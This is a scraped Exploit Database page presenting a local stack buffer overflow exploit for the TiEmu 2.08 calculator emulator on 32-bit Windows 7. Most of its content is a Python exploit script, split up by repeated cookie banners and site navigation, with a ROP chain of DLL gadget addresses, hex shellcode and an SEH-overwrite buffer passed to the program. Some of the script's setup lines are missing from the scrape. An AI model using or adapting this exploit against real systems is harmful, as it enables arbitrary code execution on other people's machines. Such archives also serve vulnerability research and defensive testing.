

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS



**Cookiebot**  
by Usercentrics

**This website uses cookies**

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

OK

Do not sell or share my personal information

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

# TiEmu 2.08 - Local Buffer Overflow

**EDB-ID:**

42087

**CVE:**

N/A

**EDB Verified:** ✘

**Author:**

[JUAN SACCO](#)

**Type:**

[LOCAL](#)

**Exploit:**   / 



**Cookiebot**  
by Usercentrics

**This website uses cookies**

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS

```
#!/usr/bin/python
# Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team -
http://www.kpn.com
# Developed using Exploit Pack - http://exploitpack.com -
<jsacco@exploitpack.com>
# Tested on: Windows 7 32 bits
#
# Description: TiEmu ( Texas Instrument Emulator ) 2.08 and prior is
# prone to a stack-based buffer overflow vulnerability because the
application fails to perform adequate
# boundary-checks on user-supplied input.
#
# What is TiEmu?
# TiEmu is a multi-platform emulator for TI89 / TI89 Titanium / TI92 /
TI92+ / V200PLT hand-helds.
#
# An attacker could exploit this vulnerability to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: http://lpa.ticalc.org/pri_tiemu/
```

Cookiebot  
by Usercentrics

### This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

```
0xFFFFFFFF, # value to negate, will become 0x00000040
0x76b13193, # NEG EAX # RETN [USER32.dll]
0x76c38a09, # XCHG EAX,EDX # RETN [kernel32.dll]
0x757dfbf7, # POP ECX # RETN [ole32.dll]
0x71256c9b, # &Writable location [COMCTL32.DLL]
0x77048567, # POP EDI # RETN [RPCRT4.dll]
0x757e65e2, # RETN (ROP NOP) [ole32.dll]
0x76cd6ee4, # POP EAX # RETN [kernel32.dll]
0x90909090, # nop
0x76ac6d21, # PUSHAD # RETN [OLEAUT32.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

shellcode = "\x90"*6
shellcode += "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
shellcode += "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
shellcode += "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
shellcode += "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
shellcode += "\x57\x78\x01\xc2\x8b\x7a\x20\x01"
shellcode += "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
shellcode += "\x45\x81\x3e\x43\x72\x65\x61\x75"
shellcode += "\xf2\x81\x7e\x08\x6f\x63\x65\x73"
```



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS

```
shellcode += "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"  
shellcode += "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"  
shellcode += "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"  
shellcode += "\xb1\xff\x53\xe2\xfd\x68\x63\x61"  
shellcode += "\x6c\x63\x89\xe2\x52\x52\x53\x53"  
shellcode += "\x53\x53\x53\x53\x52\x53\xff\xd7"
```

```
junk2 = "A" * 2000
```

```
buffer = junk + nseh + seh + rop_chain + shellcode + junk2
```

```
try:  
    print(buffer)  
    subprocess.call([file, buffer])  
except OSError as e:  
    if e.errno == os.errno.ENOENT:  
        print "TiEmu not found!"  
    else:  
        print "Error executing exploit"  
        raise
```

Cookiebot  
by Usercentrics

### This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >